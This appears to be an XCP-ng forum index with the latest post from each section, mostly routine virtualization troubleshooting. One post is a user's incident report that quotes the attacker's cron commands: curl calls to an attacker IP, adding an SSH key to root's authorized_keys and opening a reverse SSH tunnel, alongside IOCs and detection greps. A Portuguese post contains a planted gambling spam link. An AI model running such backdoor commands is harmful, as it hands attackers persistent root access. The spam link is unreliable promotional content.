Categories

  • All news regarding Xen and XCP-ng ecosystem

    146 Topics
    5k Posts
    A
    @gduperrey Updates installed. RPU mostly worked... Every host was updated. All VMs moved and returned. Waiting before re-enabling the load balancer task is stuck waiting...
  • Everything related to the virtualization platform

    1k Topics
    16k Posts
    C
    Hey Poddingue! I very much assume to have found the troublemaker. I compared the outputs of xe vm-param-list and what triggered my eyes the most was: Debian: PV-drivers-version (MRO): HA: PV-drivers-version (MRO): major: @PRODUCT_MAJOR_VERSION@; minor: @PRODUCT_MINOR_VERSION@; micro: @PRODUCT_MICRO_VERSION@; build: @NUMERIC_BUILD_NUMBER@ Ofc what's reported after a HomeAssistant boot is completely nuts and should be "nothing"/empty. As the errorlog of Commvault says something about XenSDKWrapper, I'm unsure if the errorhandling of the SDK or Commault sucks (should I be happy that it was caught at all and didn't crash the whole application? ). The German translation, to me, indicateds Commvault at faul though. Neither XCP-ng nor the XenSDK will be able to speak english, nor is it likely that they translate a "try-catch"-errormessage, I assume. BUT: XCP-ng should never report back such nonsense and by that probably hit Commvault unexpected. So I also suggest to catch nonsense/unclear responses before XAPI (which is what xe triggers?) output/response.
  • 3k Topics
    29k Posts
    V
    Hi, I got hit through this one last night. Small home lab pool, XO from sources (xo-server 5.213.0). It was reachable from the internet behind a reverse proxy because a friend has a VM on my server and wanted to start and stop it himself. Yes, that was dumb. It's VPN only from now on, the way it should have been. None of the names, files or IPs from the advisory matched. A check for pivot2 / ustar alone would have shown me clean. Here is what I found instead. What they did, all within about 50 minutes GET /rest/v0/vms?limit=1 answered 200 without any login, followed by /rest/v0/users/me (307) and the user list. Later rounds showed a 401 and then a 200 in the same second, but the first one was a plain 200. My proxy doesn't log cookies. What I grep for is any 2xx on /rest/v0 from an IP that isn't mine. POST /rest/v0/users/<admin id>/authentication_tokens, two tokens with the description system-maintenance and 24 h expiry. xo.exportConfig over the websocket, twice with entries ["xenServers"] and later the full config, no passphrase. In the proxy log this is GET /api/<random>/XO-config_<timestamp>.json. VM import via POST /rest/v0/pools/<id>/vms?sr=<local SR>. VM name svc-<6 digits>, 256 MiB, one 2 MiB disk, no VIF, platform hvm_serial = file:/etc/cron.d/svc-<same digits>. Started right away and was halted again a few seconds later. The disk has one non-zero sector, a boot sector that prints the cron line to the serial port and halts. That cron file ran once as root on the host: curl http://13.140.168.109:8931/port?h=<hostname> curl http://13.140.168.109:8931/tk (an ssh key) append an ed25519 key with the comment nx-campaign to /root/.ssh/authorized_keys ssh -f -N -R <port>:localhost:22 hermes1@13.140.168.109 delete the cron file Both curls timed out for me and no tunnel came up, but the key was in authorized_keys. They only failed because my firewall lets the hosts out on 80/443 only. With open egress the tunnel would have worked. The job left /root/dead.letter with its errors on the host. IOCs 185.213.154.220 REST calls and config export (Chrome 131 UA, python-requests/2.3 13.140.168.109 VM import and start via REST (python-requests/2.32.5), port 8931, ssh user hermes1 VM name svc-<digits> and /etc/cron.d/svc-<digits> authorized_keys comment nx-campaign XO token description system-maintenance /root/dead.letter on the host Quick checks on the hosts grep nx-campaign /root/.ssh/authorized_keys ls -la /root/dead.letter /etc/cron.d/ zgrep svc- /var/log/cron* zgrep -- '-serial file:' /var/log/xensource.log* The last one is from the advisory and did match. On the XO machine the journal does show a bit after all: journalctl -u xo-server | grep 'unauthenticated API call' journalctl -u xo-server | grep 'use session.signIn() instead' journalctl -u xo-server | grep 'putResource /import/' The first also shows up for my own expired sessions, compare the times. The other me of the attack, nothing else in five months of journal. audit.log shows no export or snapshot from the attacker on the xapi side, only my nightly backup. But the config export has the host root passwords and plugin secrets in clear text, so I rotate everything. Phew, that was quite a shock. I only read about the Vates advisory by chance in my news reader this morning. I sent my AI off to check if my setup was affected, and it found out that I had already been compromised.
  • Our hyperconverged storage solution

    55 Topics
    833 Posts
    Maelstrom96M
    @dthenot For anyone stuck, here is what I ended up doing: I've manually hardcoded the controller_uri in /opt/xensource/sm/linstorvolumemanager.py on the new host, restarted the toolstack using xe-toolstack-restart and ran the xe host-call-plugin host-uuid=NEW_HOST_UUID plugin=linstor-manager fn=addHost args:groupName=linstor_group/thin_device command. def _get_controller_uri() -> str: # TODO: Check that an IP address from the current pool is returned. #addresses = _get_controller_addresses() return "linstor://10.25.254.100" #return "linstor://" + addresses[0] if addresses else "" After that, you should see the addHost command return True. It should be safe to revert the change to the _get_controller_uri() function and restart to make sure everything starts properly. [10:06 van3-pprod-xen01 ~]# linstor --controllers 10.25.254.100 node l ╭───────────────────────────────────────────────────────────────────╮ ┊ Node ┊ NodeType ┊ Addresses ┊ State ┊ ╞═══════════════════════════════════════════════════════════════════╡ ┊ van3-pprod-xen01 ┊ COMBINED ┊ 10.25.254.100:3366 (PLAIN) ┊ Online ┊ ┊ van3-pprod-xen02 ┊ COMBINED ┊ 10.25.254.101:3366 (PLAIN) ┊ Online ┊ ┊ van3-pprod-xen03 ┊ COMBINED ┊ 10.25.254.102:3366 (PLAIN) ┊ Online ┊ ┊ van3-pprod-xen04 ┊ COMBINED ┊ 10.25.254.103:3366 (PLAIN) ┊ Online ┊ ╰───────────────────────────────────────────────────────────────────╯ [10:06 van3-pprod-xen01 ~]# xe host-call-plugin host-uuid=f9d94f6c-e826-452f-b9b9-638550b209cf plugin=linstor-manager fn=addHost args:groupName=linstor_group/thin_device True [10:08 van3-pprod-xen01 ~]# linstor --controllers 10.25.254.100 node l ╭───────────────────────────────────────────────────────────────────╮ ┊ Node ┊ NodeType ┊ Addresses ┊ State ┊ ╞═══════════════════════════════════════════════════════════════════╡ ┊ van3-pprod-xen01 ┊ COMBINED ┊ 10.25.254.100:3366 (PLAIN) ┊ Online ┊ ┊ van3-pprod-xen02 ┊ COMBINED ┊ 10.25.254.101:3366 (PLAIN) ┊ Online ┊ ┊ van3-pprod-xen03 ┊ COMBINED ┊ 10.25.254.102:3366 (PLAIN) ┊ Online ┊ ┊ van3-pprod-xen04 ┊ COMBINED ┊ 10.25.254.103:3366 (PLAIN) ┊ Online ┊ ┊ van3-pprod-xen05 ┊ COMBINED ┊ 10.25.254.104:3366 (PLAIN) ┊ Online ┊ ╰───────────────────────────────────────────────────────────────────╯
  • 37 Topics
    137 Posts
    S
    @jqueiroz said: Bom dia a todos, Estou com um problema em uma VM, ela está ligando/desligando sozinha, repetidamente. Não encontro nenhuma mensagem de erro explicando o motivo. Alguém pode me dar alguma dica sobre como solucionar isso? Uso o XCP-NG 8.0 em um cluster de dois servidores HP Proliant DL-360, com o HA-Lizard. Tudo vinha funcionando bem até alguns dias atrás, quando houve uma queda de energia no datacenter da localidade. Tenho o mesmo arranjo de VMs/servidores em mais seis localidades, nenhuma apresenta esse problema. Analisar esse comportamento instável do cluster é quase como prever resultados complexos, parecendo a análise de riscos que a malta faz ao dar palpites no https://mostbetbrasil.lat. Grato. Como o problema começou depois da queda de energia e só acontece nessa localidade, eu começaria verificando os logs do XCP-ng e do HA-Lizard para entender quem está disparando os reinícios. Pode ser alguma política de HA tentando recuperar a VM repetidamente, algum problema de armazenamento ou até inconsistência no estado do host após a interrupção. Também vale conferir o estado do pool e os logs do Xen Orchestra, se estiver usando. Se possível, desative temporariamente a automação de recuperação dessa VM, com cuidado para não comprometer a disponibilidade, e veja se ela continua reiniciando sozinha. Isso ajuda a isolar a causa.